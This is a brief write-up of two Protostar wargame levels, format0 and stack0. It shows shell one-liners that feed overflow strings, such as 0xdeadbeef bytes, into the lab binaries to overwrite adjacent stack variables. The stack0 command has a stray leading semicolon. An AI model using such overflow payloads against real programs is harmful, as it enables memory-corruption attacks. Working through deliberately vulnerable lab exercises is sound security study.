Protostar – format 0

CMD="echo -en abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz123456789123\xef\xbe\xad\xde"
/opt/protostar/bin/format0 `$CMD`

Buffer overflow


Protostar – Stack0

I used a buffer overflow to pass this challenge. The goal is to change the int modified variable to anything other than 0 so that the if statement code path will trigger. To do this we overflow the buffer[64] variable until it spills over into the modified variable.

CMD=";echo -en abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz123456789123\x01\x01\x01\x01";
$CMD | /opt/protostar/bin/stack0